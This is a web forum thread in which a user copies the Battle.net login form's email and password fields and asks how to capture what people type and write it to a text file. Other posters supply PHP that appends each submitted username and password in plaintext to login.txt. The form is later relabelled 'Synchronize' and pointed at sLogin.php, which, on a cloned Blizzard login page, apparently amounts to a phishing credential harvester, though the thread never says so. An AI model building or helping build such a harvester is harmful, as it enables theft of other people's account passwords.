Question about form data

I have a Question about a snippet of code perhaps someone else will understand this..?


From Battle.net login textfield code

<p><label for="accountName" class="label">E-mail Address</label>

<input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p>
<p><label for="password" class="label">Password</label>

<input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p>

PHP:

I'm trying to use the nice looking blizzard textfields in a PHP form i'm working on however I can't seem to adapt them... I don't currently have a submit button or anything how could I add one and catch the inputted data?

I was thinking something along the lines of

<?php
$username = $_REQUEST['accountName'];
$password = $_REQUEST['password'];
?>

PHP:

But not sure, and still don't know how to setup the submit button..

Any ideas would be appreciated!

 

<?php
if(isset($_POST['submit'])) {
$username = $_POST['accountName'];
$password = $_POST['password'];

if ((!empty($username)) || (!empty($password))) 
	{
		echo "---------------------------------------------------------------<br />";
		echo "Username:". $username ."   and Password: ".$password."<br />";
		echo "---------------------------------------------------------------<br />";
	} else {
		echo "-------------------------No Data---------------------------";	
	}
}
?>
<form name="info" method="post">
<p><label for="accountName" class="label">E-mail Address</label>

<input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p>
<p><label for="password" class="label">Password</label>

<input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p>

<p><input name="submit" type="submit" value="Submit" /></p>

</form>

Code (markup):

 

You should put that that login form in <form> tag:

<form action="login.php" method="post">
<label for="accountName" class="label">E-mail Address</label>
<input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" />
<label for="password" class="label">Password</label>
<input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/>
<button class="ui-button button1 " type="submit" data-text="Processing…"><span><span>Log In</span></span></button>
</form>

HTML:

In login.php you should put:

<?php
$username = $_POST['accountName'];
$password = $_POST['password'];
?>

PHP:

 

You forestalled me....

 

So from my understanding once I have put the login code in the form tag like Ker suggested the PHP will work?

 

Also how can I take the data and make it print to a .txt file

 

Yes, that will catch your username and password...
What data?
Generally you can make file like following:

$f = fopen('myfile.txt', 'w');
fwrite($f, "text that will be in file....blablabla...");
fclose($f);

PHP:

 

This code isn't writing anything to login.txt.. :\

<?php
$username = $_REQUEST['accountName'];
$password = $_REQUEST['password'];

$f = fopen('login.txt', 'w');
fwrite($f, "{$username}, {$password}");
fclose($f);
?>

PHP:

 

If your form looks like

<form action="login.php" method="post">

HTML:

then login.php should contain following:

<?php

 if(isset($_POST['accountName']) && isset($_POST['password']))
 {
   $username = $_POST['accountName'];
   $password = $_POST['password'];

   $f = fopen('login.txt', 'w');
   fwrite($f, 'Username: '.$username.' Password: '.$password);
   fclose($f);
 }

?>

PHP:

Note:
If you put

$f = fopen('login.txt', 'w');

PHP:

content of login.txt will always be replaced with new content. If you want to append to the end of login.txt use

$f = fopen('login.txt', 'a');

PHP:

 

I still can't get it to write anything to the file...

<form action="sLogin.php" method="post">
<label for="accountName" class="label">E-mail Address</label>
<input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" />
<label for="password" class="label">Password</label>
<input id="password" name="password" maxlength="16" type="password" tabindex="2" class="input"/><br>
<button class="ui-button button1 " type="submit" data-text="Processing..."><span><span>Synchronize</span></span></button>
</form>

HTML:

In sLogin.php

<?php

 if(isset($_POST['accountName']) && isset($_POST['password']))
 {
   $username = $_POST['accountName'];
   $password = $_POST['password'];

   $f = fopen('login.txt', 'a');
   fwrite($f, 'Username: '.$username.' Password: '.$password);
   fclose($f);
 }

?>

PHP:

Note: file permissions are 666

No idea why it wont write

 

Does it create login.txt or no?

 

I already created a login.txt for it, i'll try without having a pre-placed one.

 

It did not work either way..

 

Make new file phpinfo.php with following content:

<?php phpinfo(); ?>

PHP:

Run phpinfo.php and see version of php. Fopen and fwrite are available from PHP 4.

 

It's 5+ I already requested that when I got the server

 

I have no idea what's the problem then...

 

Maybe its something with the Blizzard login boxes not even submitting the data idk...

 

Let's check that...

<?php

 if(isset($_POST['accountName']) && isset($_POST['password']))
 {
   echo 'PHP script recieved login data...';
   $username = $_POST['accountName'];
   $password = $_POST['password'];

   $f = fopen('login.txt', 'a');
   fwrite($f, 'Username: '.$username.' Password: '.$password);
   fclose($f);
 }
 else echo 'PHP script didn\'t recieve login data...';

?>

PHP:

 

Gah dude, I don't know whats up it just won't do anything. I'm going to call my host and see if they can figure it out. I REALLY appreciate your help man, hope you have a fuckin amazing week!

 

Thank You, You too...
